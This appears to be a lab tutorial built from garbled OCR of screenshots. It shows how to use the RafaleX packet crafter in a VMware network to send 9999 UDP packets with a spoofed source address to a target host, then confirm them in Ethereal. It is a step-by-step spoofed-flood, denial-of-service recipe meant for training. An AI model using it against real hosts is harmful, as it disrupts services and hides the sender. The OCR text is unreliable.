🚯 Windows 2000 Server 👘 Windows 2000 Advanced Server 👘 Red Hat Linux 8 Server 👘 Windows 2000 Professional 👘 Win	∢ → x
My Documents	
_ 🖉 Rafale X	(
File Tools Modules Managers Options Language Help	
My com 🖉 🗈 🔁 🔁 🗜 🛠 🎒 🤋	
Network interface : 1 : 172.16.1.56 🔽 🖸 TCP UDP ICMP	
Set as source IP Set as destination IP Sequence : 0 Acknowledge : 0	
My Net [IP] Place Source IP; 10.10.10.10 Port; 123 Specify data offset [] [0] (bytes)	
Tune of service : Boutine	
Specify TCP checksum	
Interr Example Interrute DE De Mar Example I	
Explor Pragmentation: Dr. 0: hay Fragment ME: 0: Last Fragment I Commands]	
No of packets : 1 - Packet type : TCP - SEND	
Shorte Bretendi E-TCD	
msfcor Specific checkrum	
ZxSnf Status : Ready.	
選Start 図 愛 コ Grafale x v1.1 野Rafale X 回伏単管 :	3:07 AM

Set the **Destination IP** to a valid target IP address. Set the **Destination Port** to **321**.

of Windows 2000 Professional - YMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
🚯 Windows 2000 Server 👔 Windows 2000 Advanced Server 🚯 Red Hat Linux 8 Server 🚮 Windows 2000 Professional 🚳 Win	∢ → x
My Documents Ethereal	
_ [™] tRafale X	×
File Tools Modules Managers Options Language Help	
My Com 🖙 🗈 🔁 🔁 🗗 🛠 🎒 💡	
Network interface : 1 : 172.16.1.56 🔽 💟 TCP UDP ICMP	
Set as source IP Set as destination IP Sequence : 0 Acknowledge : 0	
Place Source IP: 10.10.10.10 Port: 123 Specify data offset D (bytes)	
Operation IP: 17216.1.60 Port: 321 [Flags] Upps APK PSH PST SVN EIN	
Recycle Specific header size 200 (butes)	
Vindow: 0 Urgent: 0	
0 Specify TCP checksum	
Specty identification U Data:	
Explor Fragmentation: DF: 0: May Fragment	-
Nb of packets : 1 Packet type : TCP V SEND	
nsfcor Protocol: [6: TCP 🚖 [Script]	1
Specily checksum	
ZxSnif Status - Ready.	-
▲Astart ☑ Image: Start ☑ Image: Start Image: Start Image: Start Image: Start Image: Start Image: Start	8:39 AM
	I 🖼 🜒 //.

Click on the **UDP** tab. Enter some random text for the payloads of the packets. Enter the **Nb of packets** to **9999**. Click the **SEND** button.

Windows 2000 Professional - Ythware Works alion File Edit Wew Will Team Windows Help File Edit Wew Will Team Windows Help File Edit File	ver 👔 Red Hat Linux 0 Se	rver 👔 Windows 2000	Professional 🔐 Win	•••
E Rafale X	Help	-	-II X	1
	. they			
Network, interface: 1. 172 16 1.56 Set as source IP Set as destination IP Set as source IP Set as destination IP Set as source IP It 10 10 10 10 Part Area Part Source IP It 10 10 10 10 Destination IP 172 16 1.58 Part Area Specify header size Specify bender size Specify header size Type of service Recycle Specify bender size It 10 10 10	Dota: UDP FL UDP FL UDP FL	UDP ICM Specily UDP checksom 00D 00D 00D 00D 00D	*	
MF: 0. Last Fragment V Offset: 0 TTL: 128	[Commands] Nb of packets : [999	에 글 Packet type : [L		
Protocol: 17 : UDP	[Script]		RUN SCRIPT	
ZxSni Status : Ready.				-
18 Start 1 50 46 51 7 Catalate vol 1	District - Etheroal	1 A Rafale X		:38 AM

*Note: I have used RafaleX for several years and at times it can appear to be "buggy" by not wanting to send packets. The best way I have found to fix this is to close the program, bring it back up, and try again.

The status bar along the bottom of the application will tell you how many packets it has sent compared to how many packets it will send.

🖉 Windows 2000 Professional – VMware Workstation	
File Edit View VM Team Windows Help	
👔 Windows 2000 Server 📲 👔 Windows 2000 Advanced Server	👔 Red Hat Linux 8 Server 📲 Windows 2000 Professional 🔂 Win 🔹
🚔 🙆	
My Documents Ethereal	
≝ ^g Rafale X	
File Tools Modules Managers Options Language H	telp
My Com 译画 출장 원급 옷 볼 ?	
Network interface : 1 172.16.1.56 Y	TCP UDP ICMP
Set as source IP Set as destination IP	0 Specily UDP checksum
Ny Ket [IP] Place Source IP: 101010.10 Port: 123	Data - UIDE EL DOD
Destination IP: 172.16.1.50 Port: 321	UOP FLOOD
	- UCP FLOOD
Interr Disamentation I DE: D. Mar. Support M	
MF: 0 Last Fragment *	I Commands 1
	Nb of packets : 9999 🛫 Packet type : UDP 💌 STOP
Shorts Photocol: 17. UDP	- 1 Souid 1
Specify checktum	RUN SCRIPT
<u>.</u>	
Status : Blasting : 6080 / 4398640 packets sent	
198 Start 3 @ C = Grafale x v1.1	(Linklind) Etheroid Brafale X Di D 0:40 AP
	2.004

Nonconst 2000 Server Nonconst 2000 Advanced Server Nonconst 2000 Protection Nonconst 2000 Protection (Multicle) Elterend Image: Server		0 1 0	3 6 13 F				
(Unklicel) Ethereal Image: Source Analyse Satotics 1980 is Lick type: is Colore Analyse Satotics 1980 is Colored 172, 16, 1, 58 is Colored 172, 16, 1, 59 is Colored 172, 122, 16, 1, 59 is Colored 172, 122, 16, 1, 50 is Colored 172, 122, 16, 1, 10 is Colored 172, 122, 16, 11 is Colored 172, 122, 124, 10 is Colored 172, 122, 16, 11 <th>, Windo</th> <th>ws 2000 Server</th> <th>Windows 2000 A</th> <th>dvanced Server 👔 Red Hat</th> <th>Linux 8 Serve</th> <th>r 👔 Windows 2000 Pi</th> <th>rofessional 🕂 Win 📢</th>	, Windo	ws 2000 Server	Windows 2000 A	dvanced Server 👔 Red Hat	Linux 8 Serve	r 👔 Windows 2000 Pi	rofessional 🕂 Win 📢
In Construction Provide analyze Construction Constructin Construction Constr	(Untit	led) - Ethereal					-
Image Image <th< th=""><th>Ele Edi</th><th>t Yew Go</th><th>Capture Analyze Stat</th><th>stics Help</th><th></th><th></th><th></th></th<>	Ele Edi	t Yew Go	Capture Analyze Stat	stics Help			
Image Expression One Argeby n. Time Source Protocol 140 Protocol 140 1 0.000000 142.6.0.1 Broatcast Adv No 150 2 0.00001 142.6.0.1 Broatcast Adv No 150 2 0.00001 142.6.0.1 Broatcast Adv No 150 0.00002 142.8.0% 4 0.070024 172.16.0.1 Broatcast Adv No has 172.16.1.59 172.16.1.6 172.16.1.7 172.16.1.7 172.16.1.7 172.16.1.7 172.16.1.7 172.16.1.7 172.16.1.7 172.16.1.1 172.16.1.1.				× @ 🗕 🖻 🤞	• • •	0 T L T	
n. The Survey Destruction Proved Info 2 0.000006 2.72,16,0.0.8 0.72,16,0.1 0.00 1.72,16,0.1,58 1.72,16,0.1 0.00 1.72,16,0.1,58 1.72,16,0.1,58 1.72,16,0.1,58 1.72,16,0.1,58 1.72,16,0.1,59 1.72,16,0.1,59 1.72,16,0.1,59 1.72,16,0.1,59 1.72,16,0.1,59 1.72,16,0.1,59 1.72,16,0.1,59 1.72,16,0.1,59 1.72,16,0.1,59 1.72,16,0.1,59 1.72,16,0.1,59 1.72,16,0.1,60 1.72,16,0.1 APP 1.72,16,0.1,60 1.72,16,0.1 1.72,16,0.1,60 1.72,16,0.1 APP 1.72,16,0.1,60 1.72,16,0.1 1.72,16,0.1 1.72,16,0.1 1.72,16,0.0	iter:				• Expressi	on Qinar Apply	
to 000000 to 0000000 to 000000000000000000000000000000000000	Vo. +	Time	Source	Destination	Protocol	Info	
2 0.00016 172.16.1.58 172.16.0.1 APP 172.16.1.58 15 at 00:0:2:99:0:0d11 3 0.07205 172.16.1.59 Tell 172.16. 4 0.07205 172.16.1.59 Tell 172.16. 5 0.14058 172.16.1.59 Tell 172.16. 5 0.14058 172.16.1.59 Tell 172.16. 5 0.14058 172.16.1.59 Tell 172.16. 5 0.14058 172.16.0.1 Broadcast APP Who has 172.16.1.367 Tell 172.16. 5 0.35725 172.16.0.1 Broadcast APP Who has 172.16.1.367 Tell 172.16. 1 0.2.66145 172.16.0.1 Broadcast APP Who has 172.16.1.367 Tell 172.16. 1 0.2.66145 172.16.0.1 Broadcast APP Who has 172.16.1.367 Tell 172.16. 1 0.2.66145 172.16.0.1 Broadcast APP Who has 172.16.1.367 Tell 172.16. 1 1.3.76543 172.16.0.1 Broadcast APP Who has 122.16.1.37 Tell 172.16. 1 2 4.62974 172.16.0.1 Broadcast APP Who has 122.16.1.37 Tell 172.16. 1 3.30914 172.16.0.1 Broadcast APP Who has 122.16.1.37 Tell 172.16. 1 4.42974 172.16.0.1 Broadcast APP Who has 127.16.1.37 Tell 172.16. 1 5.51594 172.16.0.1 Broadcast APP Who has 127.16.1.37 Tell 172.16. 1 5.51594 172.16.0.1 Broadcast APP Who has 127.16.1.37 Tell 172.16. 1 5.51594 172.16.0.1 Broadcast APP Who has 127.16.1.37 Tell 172.16. 1 5.51594 172.16.0.1 Broadcast APP Who has 127.16.1.37 Tell 172.16. 1 5.51594 172.16.0.1 Broadcast APP Who has 172.16.1.37 Tell 172.16. 1 5.51594 172.16.0.1 Broadcast APP Who has 172.16.1.37 Tell 172.16. 1 6.567781 172.16.0.1 Broadcast APP Who has 172.16.1.37 Tell 172.16. 1 7 6.87781 172.16.0.1 Broadcast APP Who has 172.16.1.37 Tell 172.16. 1 7 6.87781 172.16.0.1 Broadcast APP Who has 172.16.1.387 Tell 172.16. 1 7 6.87781 172.16.0.1 Broadcast APP Who has 172.16.1.387 Tell 172.16. 1 7 6.87781 172.16.0.1 Broadcast APP Who has 172.16.1.387 Tell 172.16. 1 7 6.87781 172.16.0.1 Broadcast APP Who has 172.16.1.387 Tell 172.16. 1 7 6.87781 172.16.0.1 Broadcast APP Who has 172.16.1.387 Tell 172.16. 1 7 6.800 00 00 00 00 00 00 00 00 00 00 00 00	1	0.000000	172.16.0.1	Broadcast	ARP	who has 172.16.	1.587 Tell 172.16
3 0.07024 172.16.0.1 Broadcast APP who has 172.16.1.597 TF11 172.16. 4 0.07035 172.16.1.59 172.16.0.1 APP 172.16.1.597 TF11 172.16. 5 0.140362 172.16.0.1 Broadcast APP who has 172.16.1.697 TF11 172.16. 6 0.140378 172.16.1.60 172.16.0.1 APP 172.16.1.617 TF11 172.16. 9 0.357203 172.16.0.1 Broadcast APP who has 172.16.1.397 TF11 172.16. 9 0.357203 172.16.0.1 Broadcast APP who has 172.16.1.367 TF11 172.16. 10 2.30438 172.16.0.1 Broadcast APP who has 172.16.1.377 TF11 172.16. 11 3.375343 172.16.0.1 Broadcast APP who has 192.106.1.17 TF11 172.16. 11 3.375343 172.16.0.1 Broadcast APP who has 192.166.1.17 TF11 172.16. 13 4.35049 172.16.0.1 Broadcast APP who has 192.166.1.17 TF11 172.16. 13 4.35049 172.16.0.1 Broadcast APP who has 192.166.1.17 TF11 172.16. 14 4.032654 172.16.0.1 Broadcast APP who has 172.16.1.347 TF11 172.16. 14 6.362781 172.16.0.1 Broadcast APP who has 172.16.1.377 TF11 172.16. 14 6.362781 172.16.0.1 Broadcast APP who has 172.16.1.377 TF11 172.16. 15 5.55104 172.16.0.1 Broadcast APP who has 172.16.1.377 TF11 172.16. 15 6.552781 172.16.0.1 Broadcast APP who has 172.16.1.377 TF11 172.16. 15 6.552781 172.16.0.1 Broadcast APP who has 172.16.1.377 TF11 172.16. 16 6.362781 172.16.0.1 Broadcast APP who has 172.16.1.377 TF11 172.16. 17 A.N7021 172.16.0.1 Broadcast APP who has 172.16.1.377 TF11 172.16. 17 A.N7021 172.16.0.1 Broadcast APP who has 172.16.1.377 TF11 172.16. 17 A.N7021 172.16.0.1 Broadcast APP who has 172.16.1.377 TF11 172.16. 17 A.N7021 172.16.0.1 Broadcast APP who has 172.16.1.387 TF11 172.16. 17 A.N7021 172.16.0.1 Broadcast APP who has 172.16.1.377 TF11 172.16. 17 A.N7021 172.16.0.1 Broadcast APP who has 172.16.1.387 TF11 172.16. 17 A.N7021 172.16.0.1 Broadcast APP who has 172.16.1.387 TF11 172.16. 17 A.N7021 172.16.0.1 Broadcast APP who has 172.16.1.387 TF11 172.16. 17 A.N7021 172.16.0.1 Broadcast APP who has 172.16.1.387 TF11 172.16. 17 A.N7021 172.16.0.1 Broadcast APP who has 172.16.1.387 TF11 172.16. 17 A.N7021 172.16.0.1 Broadcast APP who has 172.16.1.387 TF11 17	2	0.000016	172.16.1.58	172.16.0.1	ARP	172.16.1.58 is	at 00:0c:29:9c:0d:
4 0.07(0)3 172.16.1.59 172.16.0.1 APP 172.16.1.59 15 4 000(2025)b6193) 15 0.140328 172.16.0.1 Broadcast APP Who has 172.16.1.607 Troll 172.16. 0.140328 172.16.0.1 Broadcast APP Who has 172.16.1.607 Troll 172.16. 10.2.66148 172.16.0.1 Broadcast APP Who has 172.16.1.67 Troll 172.16. 10.2.66148 172.16.0.1 Broadcast APP Who has 172.16.1.67 Troll 172.16. 11.3.70543 172.16.0.1 Broadcast APP Who has 172.16.1.67 Troll 172.16. 11.4.30013 172.16.0.1 Broadcast APP Who has 172.16.1.47 Troll 172.16. 11.5.551540 472.16.0.1 Broadcast APP Who has 172.16.1.47 Troll 172.16. 15.551540 472.16.0.1 Broadcast APP Who has 172.16.1.47 Troll 172.16. 15.551540 472.16.0.1 Broadcast APP Who has 172.16.1.47 Troll 172.16. 15.551540 472.16.0.1 Broadcast APP Who has 172.16.1.47 Troll 172.16. 16.562781 172.16.0.1 Broadcast APP Who has 172.16.1.47 Troll 172.16. 17.6.567781 172.16.0.1 Broadcast APP Who has 172.16.1.497 Troll 172.16. 16.562781 172.16.0.1 Broadcast APP Who has 172.16.1.47 Troll 172.16. 17.6.567781 172.16.0.1 Broadcast APP Who has 172.16.1.497 Troll 172.16. 17.600 Broad Broad Broad Broad Broad	3	0.072024	172.16.0.1	Broadcast	ARP	who has 172.16.	1.597 Tell 172.16
3 0.140382 172.16.0.1 BFGARCAST APP WHO FAS 172.16.1.00 FFG1 172.16. 0.140382 172.16.0.1 BFGARCAST APP WHO FAS 172.16.1.00 FFG1 172.16. 0.0337272 172.16.0.1 BFGARCAST APP WHO FAS 172.16.1.367 TFG1 172.16. 10.2363458 172.16.0.1 BFGARCAST APP WHO FAS 172.16.1.367 TFG1 172.16. 10.2363458 172.16.0.1 BFGARCAST APP WHO FAS 192.169.1.17 TFG1 172.16. 11.3373543 172.16.0.1 BFGARCAST APP WHO FAS 192.169.1.17 TFG1 172.16. 11.3373543 172.16.0.1 BFGARCAST APP WHO FAS 192.169.1.17 TFG1 172.16. 13.4353041 372.16.0.1 BFGARCAST APP WHO FAS 172.16.1.367 TFG1 172.16. 13.4353041 372.16.0.1 BFGARCAST APP WHO FAS 172.16.1.347 TFG1 172.16. 14.622654 172.16.0.1 BFGARCAST APP WHO FAS 172.16.1.347 TFG1 172.16. 15.5551264 172.16.0.1 BFGARCAST APP WHO FAS 172.16.1.347 TFG1 172.16. 16.636781 172.16.0.1 BFGARCAST APP WHO FAS 172.16.1.347 TFG1 172.16. 16.636781 172.16.0.1 BFGARCAST APP WHO FAS 172.16.1.347 TFG1 172.16. 16.636781 172.16.0.1 BFGARCAST APP WHO FAS 172.16.1.347 TFG1 172.16. 17. A.N7071 172.16.1.19 BFGARCAST APP WHO FAS 172.16.1.347 TFG1 172.16. 16.636781 172.16.0.1 BFGARCAST APP WHO FAS 172.16.1.347 TFG1 172.16. 17. A.N7071 172.16.1.19 FFGARCAST APP WHO FAS 172.16.1.347 TFG1 172.16. 17. A.N7071 172.16.1.19 FFGARCAST APP WHO FAS 172.16.1.347 TFG1 172.16. 17. A.N7071 172.16.1.19 FFGARCAST APP WHO FAS 172.16.1.347 TFG1 172.16. 17. A.N7071 172.16.1.19 FFGARCAST APP WHO FAS 172.16.1.347 TFG1 172.16. 17. A.N7071 172.16.1.19 FFGARCAST APP WHO FAS 172.16.1.347 TFG1 172.16. 17. A.N7071 172.16.1.19 FFGARCAST APP WHO FAS 172.16.1.347 TFG1 172.16. 17. A.N7071 172.16.1.19 FFGARCAST APP WHO FAS 172.16.1.347 TFG1 172.16. 17. A.N7071 172.16.1.19 FFGARCAST APP WHO FAS 172.16.1.347 TFG1 172.16. 17. A.N7071 172.16.1.19 FFGARCAST APP WHO FAS 172.16.1.347 TFG1 172.16. 17. A.N7071 172.16.1.19 FFGARCAST APP WHO FAS 172.1	4	0.072035	172.16.1.59	172.16.0.1	ARP	1/2.10.1.59 15	at 00:00:29:66:93:
0 0.515326 1/2.16.0.1 Decadest APP Who has 172.16.1.367 TEI 107.21.16. 0 0.515326 1/2.16.0.1 Decadest APP Who has 172.16.1.367 TEI 107.21.16. 0 1.438639 172.16.0.1 Broadcast APP Who has 172.16.1.367 TEI 172.16. 10 .2563458 172.16.0.1 Broadcast APP Who has 172.16.1.367 TEI 172.16. 11 .2.376543 172.16.0.1 Broadcast APP Who has 192.166.1.17 TEI 172.16. 12 4.420744 172.16.0.1 Broadcast APP Who has 172.16.1.47 TEI 172.16. 13 4.330913 172.16.0.1 Broadcast APP Who has 172.16.1.47 TEI 172.16. 15 4.531944 172.16.0.1 Broadcast APP Who has 172.16.1.47 TEI 172.16. 15 4.531944 172.16.0.1 Broadcast APP Who has 172.16.1.57 TEI 172.16. 16 6.56781 172.16.0.1 Broadcast APP Who has 172.16.1.377 TEI 172.16. 17 6.878012 172.16.0.1 Broadcast APP Who has 172.16.1.387 TEI 172.16. 17 6.878012 172.16.1.187		0.140362	172.10.0.1	Broadcast	ARP	Who has 172.10.	1.60/ 1011 1/2.16
B 0.557272 172.16.0.1 Droadcast APP who has 172.16.1.507 TT11 172.16. 10.43659 172.16.0.1 Broadcast APP who has 172.16.1.507 TT11 172.16. 10.250439 172.16.0.1 Broadcast APP who has 172.16.1.507 TT11 172.16. 11.3.757453 172.16.0.1 Broadcast APP who has 192.106.1.17 TT11 172.16. 11.3.757453 172.16.0.1 Broadcast APP who has 192.106.1.17 TT11 172.16. 13.4.530013 172.16.0.1 Broadcast APP who has 172.16.1.347 TT11 172.16. 13.4.53004 172.16.0.1 Broadcast APP who has 172.16.1.347 TT11 172.16. 14.632054 172.16.0.1 Broadcast APP who has 172.16.1.347 TT11 172.16. 15.551044 172.16.0.1 Broadcast APP who has 172.16.1.377 TT11 172.16. 15.551044 172.16.0.1 Broadcast APP who has 172.16.1.377 TT11 172.16. 16.652781 172.16.0.1 Broadcast APP who has 172.16.1.387 TT11 172.16. 17.8.77271 172.16.0.1 <t< td=""><td>2</td><td>0.257265</td><td>172.16.0.1</td><td>Broadcast</td><td>ARP</td><td>Who has 172 16</td><td>1 222 Toll 172 16</td></t<>	2	0.257265	172.16.0.1	Broadcast	ARP	Who has 172 16	1 222 Toll 172 16
9 1.438659 172.16.0.1 Broadcast APP who has 172.16.1.867 Tell 172.16. 10 2.504458 172.16.0.1 Broadcast APP who has 192.168.1.17 Tell 172.16. 11 3.775543 172.16.0.1 Broadcast APP who has 192.168.1.17 Tell 172.16. 12 4.62974 172.16.0.1 Broadcast APP who has 172.16.1.357 Tell 172.16. 13 4.33073 172.16.0.1 Broadcast APP who has 172.16.1.357 Tell 172.16. 13 4.33073 172.16.0.1 Broadcast APP who has 172.16.1.357 Tell 172.16. 14 5.55264 172.16.0.1 Broadcast APP who has 172.16.1.377 Tell 172.16. 15 5.55264 172.16.0.1 Broadcast APP who has 172.16.1.377 Tell 172.16. 15 5.55264 172.16.0.1 Broadcast APP who has 172.16.1.377 Tell 172.16. 16 5.562781 172.16.0.1 Broadcast APP who has 172.16.1.377 Tell 172.16. 17 6.562781 172.16.0.1 (DO:L12884234) BP who has 172.16.1.807 Tell 172.16. 17 6.562781 172.16.0.1 (DO:L12884234) BP who has 172.16.1.807 Tell 172.16. Address Resolution Protocol (request) 00 ff ff ff ff ff ff f0 01 12 88 42 34 c9 08 06 00 01	á	0.357272	172.16.0.1	Broadcast	ARP	who has 172.16.	1.36? Tell 172.16
10 2.36349 172.16.0.1 Broadcast APP who has 192.168.1.17 Tell 172.16. 11 3.75343 172.16.0.1 Broadcast APP who has 192.168.1.17 Tell 172.16. 12 4.42874 172.16.0.1 Broadcast APP who has 172.16.1.347 Tell 172.16. 13 4.35049 172.16.0.1 Broadcast APP who has 172.16.1.347 Tell 172.16. 14 4.62694 172.16.0.1 Broadcast APP who has 172.16.1.347 Tell 172.16. 15 5.55194 172.16.0.1 Broadcast APP who has 172.16.1.377 Tell 172.16. 16 6.862781 172.16.0.1 Broadcast APP who has 172.16.1.387 Tell 172.16. 16 6.862781 172.16.0.1 Broadcast APP who has 172.16.1.387 Tell 172.16. 17 6.87671 172.16.0.1 Broadcast APP who has 172.16.1.387 Tell 172.16. 16 6.862781 172.16.0.1 Broadcast APP who has 172.16.1.387 Tell 172.16. 17 6.87671 172.16.0.1 Broadcast APP who has 172.16.1.387 Tell 172.16. 17 6.87671 172.16.0.1 Broadcast APP who has 172.16.1.387 Tell 172.16. 17 6.87671 172.16.0.1 Broadcast APP who has 172.16.1.387 Tell 172.16. 17 6.87671 172.16.0.1 Broadcast APP who has 172.16.1.387 Tell 172.16. 17 6.87671 172.16.0.1 Broadcast APP who has 172.16.1.387 Tell 172.16. 17 6.87671 172.16.0.1 Broadcast APP who has 172.16.1.387 Tell 172.16. 17 6.87671 172.16.1.007 Tell 172.16. 17 6.87671 172.16.0.1 Broadcast APP who has 172.16.1.387 Tell 172.16. 17 6.87671 172.16.0.1 COULL 198.4234 (SO 000 00 000 000 000 000 000 000 000 00	ġ	1.438639	172.16.0.1	Broadcast	ARP	who has 172.16.	1.367 Tell 172.16
11.3.776543 172.16.0.1 Droadcast APP who has 122.16.0.1.17 Tell 172.16. 12.4.22744 172.16.0.1 Broadcast APP who has 172.16.1.357 Tell 172.16. 13.4.35013 172.16.0.1 Broadcast APP who has 172.16.1.377 Tell 172.16. 14.4.22744 172.16.0.1 Broadcast APP who has 172.16.1.377 Tell 172.16. 14.4.52764 172.16.0.1 Broadcast APP who has 172.16.1.377 Tell 172.16. 16.6.562781 172.16.0.1 Broadcast APP who has 172.16.1.377 Tell 172.16. 17.6.6.562781 172.16.0.1 Broadcast APP who has 172.16.1.377 Tell 172.16. 17.6.6.562781 172.16.0.1 Object Captured) Broadcast APP who has 172.16.1.377 Tell 172.16. Frame 1.(0 Dytes on wire. 60 bytes captured) Ethernet III, 57.16.1.607 Tell 172.16. Tell 172.16. Tell 172.16. Address Resolution Protocol (request) Intervention Protocol (request) <td>10</td> <td>2.361458</td> <td>172.16.0.1</td> <td>Broadcast</td> <td>ARP</td> <td>who has 192.168</td> <td>.1.1? Tell 172.16</td>	10	2.361458	172.16.0.1	Broadcast	ARP	who has 192.168	.1.1? Tell 172.16
12 4.42874 172.16.0.1 Broadcast APP Who has 172.16.0.1.37 Tell 172.16. 13 4.53094 172.16.0.1 Broadcast APP Who has 172.16.1.347 Tell 172.16. 14 4.632694 172.16.0.1 Broadcast APP Who has 172.16.1.347 Tell 172.16. 15 5.55194 172.16.0.1 Broadcast APP Who has 172.16.1.347 Tell 172.16. 15 5.55194 172.16.0.1 Broadcast APP Who has 172.16.1.377 Tell 172.16. 15 5.55194 172.16.0.1 Broadcast APP Who has 172.16.1.377 Tell 172.16. 16 6.562781 172.16.0.1 Broadcast APP Who has 172.16.1.387 Tell 172.16. 17 6.872712 172.16.1.149 Tell 172.16. APP Who has 172.16.1.387 Tell 172.16. 16 6.562781 172.16.0.1 Goodcast APP Who has 172.16.1.387 Tell 172.16. 17 6.872712 172.16.1.149 Tell 172.16. APP Who has 172.16.1.376 Tell 172.16. 17 6.872712 172.16.1.149 Tell 172.16. Tell 172.16. Tell 172.16. Tell 172.16. 16 60 bytes on wire, 60	11	3.378543	172.16.0.1	Broadcast	ARP	who has 192.168	.1.1? Tell 172.16
13 4, 330913 172.16.0.1 Broadcast APP who has 172.16.1.47 Tell 172.16. 14 4, 52054 172.16.0.1 Broadcast APP who has 172.16.1.27 Tell 172.16. 16 4, 530751 172.16.0.1 Broadcast APP who has 172.16.1.27 Tell 172.16. 16 530751 172.16.0.1 Broadcast APP who has 172.16.1.27 Tell 172.16. 17 6.87871 172.16.1.9 Broadcast APP who has 172.16.1.27 Tell 172.16. 17 6.87871 172.16.1.9 Broadcast APP who has 172.16.1.27 Tell 172.16. Frame 1 (0 bytes on wire, 60 bytes captured) Ethernet II, 5rc: 172.16.0.1 (00:12:98:42:34:c9), bst: Broadcast (ff:ff:ff:ff:ff:ff:ff:ff: Address Resolution Protocol (request) 000 ff ff ff ff ff ff 00 12 88 42 34 c9 08 06 00 01B4 10 0 50 00 60 00 00 00 00 00 00 00 00 00 00 00	12	4.428744	172.16.0.1	Broadcast	ARP	who has 172.16.	1.35? Tell 172.16
14 0.5203 1/2.10.01 BFCadCaSt ARP Who has 1/2.10.1.27 Tell 1/2.10. 15 555544 172.16.01 BFCadCaSt ARP Who has 1/2.16.1.37 Tell 1/2.10. 16 555544 172.16.01 BFCadCaSt ARP Who has 1/2.16.1.37 Tell 1/2.10. 17 B.FC2101 172.16.1.46 BFCadCaSt ARP Who has 1/2.16.1.37 Tell 1/2.10. 16 B.FC2101 172.16.1.46 BFCadCaSt ARP Who has 1/2.16.1.37 Tell 1/2.10. 17 B.FC2101 172.16.1.46 BFCadCaSt ARP Who has 1/2.16.1.37 Tell 1/2.10. Frame 1 (60 bytes on wire, 60 bytes captured) BFCaCaSt ARP Who has 1/2.16.1.37 Tell 1/2.10. Address Resolution Protocol (request) Address Resolution Protocol (request) Det 1/2.16.1.46 State 1/2.16.1.47 State 1/2.16.1.47 100 06 00 60 40 00 10 01 21 88 42 34 05 010 00 01 State 1/2.16.1.16 State 1/2.16.1.16 State 1/2.16.1.16 120 FFF Ff Ff Ff Ff Ff 10 01 21 88 42 34 05 00 00 00 00 00 00 State 1/2.16.1.16 State 1/2.16.1.16 State 1/2.16.1.16	13	4.530913	172.16.0.1	Broadcast	ARP	who has 172.16.	1.347 Tell 172.16
16 2:22529 1/2:142.0:1 DF-add-331 APP WHO Has 1/2:20:12:12:16.1.40 17 0.47X012 172.16.1.40 Productast APP Who has 1/2:10:12:12:16.1.40 Frame 1 (00 bytes on wire. 60 bytes captured) Ethernet 11, 57:16.1.40 Trill 1/2:16. Ethernet 11, 57:12.16.0.1 (00:12:88:42:34:c9), Dst: Broadcast (ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:	14	4.032004	172.16.0.1	Broadcast	ARP	who has 172.16.	1.3// Tell 1/2.10
17 0.872012 172.18.1.40 Broadcast BBP Who has 122.18.1.602 Tell 172.18. Prame 1 (60 bytes on wire, 60 bytes captured) Ethernet IT, Src: 172.16.0.1 (00:12:88:42:34:c9), Dst: Broadcast (ff:ff:ff:ff:ff:ff:ff:ff: Address Resolution Protocol (request) 2 10 06 00 06 04 00 10 01 2 88 42:34:c9 08 06 00 01	16	6 562781	172.16.0.1	Broadcast	ARP	who has 172.10.	1.3/7 Tell 1/2.10 1.387 Tell 172 16
Prame 1 (60 bytes on wire, 60 bytes captured) Ethernet II, Src: 172.16.0.1 (00:12:89:42:34:c9), bst: Broadcast (ff:ff:ff:ff:ff:ff:ff: Address Resolution Protocol (request) 000 fff ff ff ff ff 00 12 88 42 34 c9 08 06 00 01	17	6.878212	172.16.1.56	Broadcast	ARP	who has 172.16.	1,602 Tell 172.16
Prame 1 (60 bytes on wire, 60 bytes captured) Ethernet II, Src: 1/2/16.0.1 (00:12/88/42/34/c9), Dst: Broadcast (ff:ff:ff:ff:ff:ff:ff:ff: Address Recolution Protocol (request) 100 0f ff ff ff ff ff ff f0 12 88/42/34/c9 08/06/00 01 120 ff ff ff ff ff ff ff 10 012 88/42/34/c9 08/06/00 01 120 of ff ff ff ff ff ff 10 012 88/42/34/c9 08/06/00 01 120 of ff ff ff ff ff ff 10 012 88/42/34/c9 08/06/00 01 120 of ff ff ff ff ff ff 10 012 88/42/34/c9 08/06/00 00 130 00 00 00 00 00 00 00 00 00 00 00 00							
Address Resolution Protocol (request) 100 ff ff ff ff ff ff f0 12 88 42 34 (9 08 06 00 01	Fram	e 1 (60 by	tes on wire, 60	bytes captured)	Det: Bro		ee.ee.ee)
000 ff ff ff ff ff ff 00 12 88 42 34 69 08 06 00 01	Addr	ess Resolu	tion Protocol (r	equest)	bott bro		
10 0 80 0 9 04 0 0 1 0 1 2 88 42 34 69 at 10 0 0 1	000 1	re re re e	f ff ff 00 12 8	8 42 34 c9 08 06 00 1	01	B4	
(šč co do	10 0		4 00 01 00 12 8	5 42 54 C9 aC 10 00		84	
e: "C:\DOCUME~1\ADMIN P: 20029 D: 20029 M: 0 Drops: 0	30 0	00 00 00 0	0 00 00 00 00 00 0				
		-	N D- 20020 D- 20020 M-	0 Deope: 0			

Click **Stop** to stop the packet capture and the overall results will be displayed.

Click on the **Source IP** column to filter the results based on the source IP of each packet. Fortunately for us, our spoofed packets are listed first.

💓 Windows 2000 Professional – YMware Workstation	ala.
File Edit View VM Team Windows Help	
2. Windows 2000 Server 2: Windows 2000 Advanced Server 2: Red Hit Li	nux 8 Server 25. Windows 2000 Professional 🖓 Win 🄇 🕨
2 (Untitled) - Ethereal	-15
Ela Eda Mare Ca Castras Assiras Octubris Itala	
De for Jew 30 Fabrois Brakte Staterit? Deb	
雙聲覺覺覺 D G × 念印 D 4	
Elter:	Expression Qear Apply
No. Time Source - Destination	Protocol Info
19 6.883720 10.10.10.10 172.16.1.60	NTP NTP
21 6.887426 10.10.10.10 172.16.1.60	NTP NTP
25 6.890564 10.10.10.10 172.16.1.60	NTP NTP
27 6 806030 10 10 10 10 10 172 16 1 60	NTP NTP
29 6.897905 10.10.10.10 172.16.1.60	NTP NTP
31 6.899997 10.10.10.10 172.16.1.60	NTP NTP
33 6.905723 10.10.10.10 172.16.1.60	NTP NTP
35 6.908096 10.10.10.10 172.16.1.60	NTP NTP
37 6.910340 10.10.10.10 172.16.1.60	NTP NTP
39 6.912920 10.10.10.10 172.16.1.60	NTP NTP
41 6.921228 10.10.10.10 172.16.1.60	NTP NTP
45 6.925190 10.10.10.10 172.16.1.60	NTP NTP
47 6 928275 10 10 10 10 172 16 1 60	NTP NTP
49 6.931049 10.10.10.10 172.16.1.60	NTP NTP
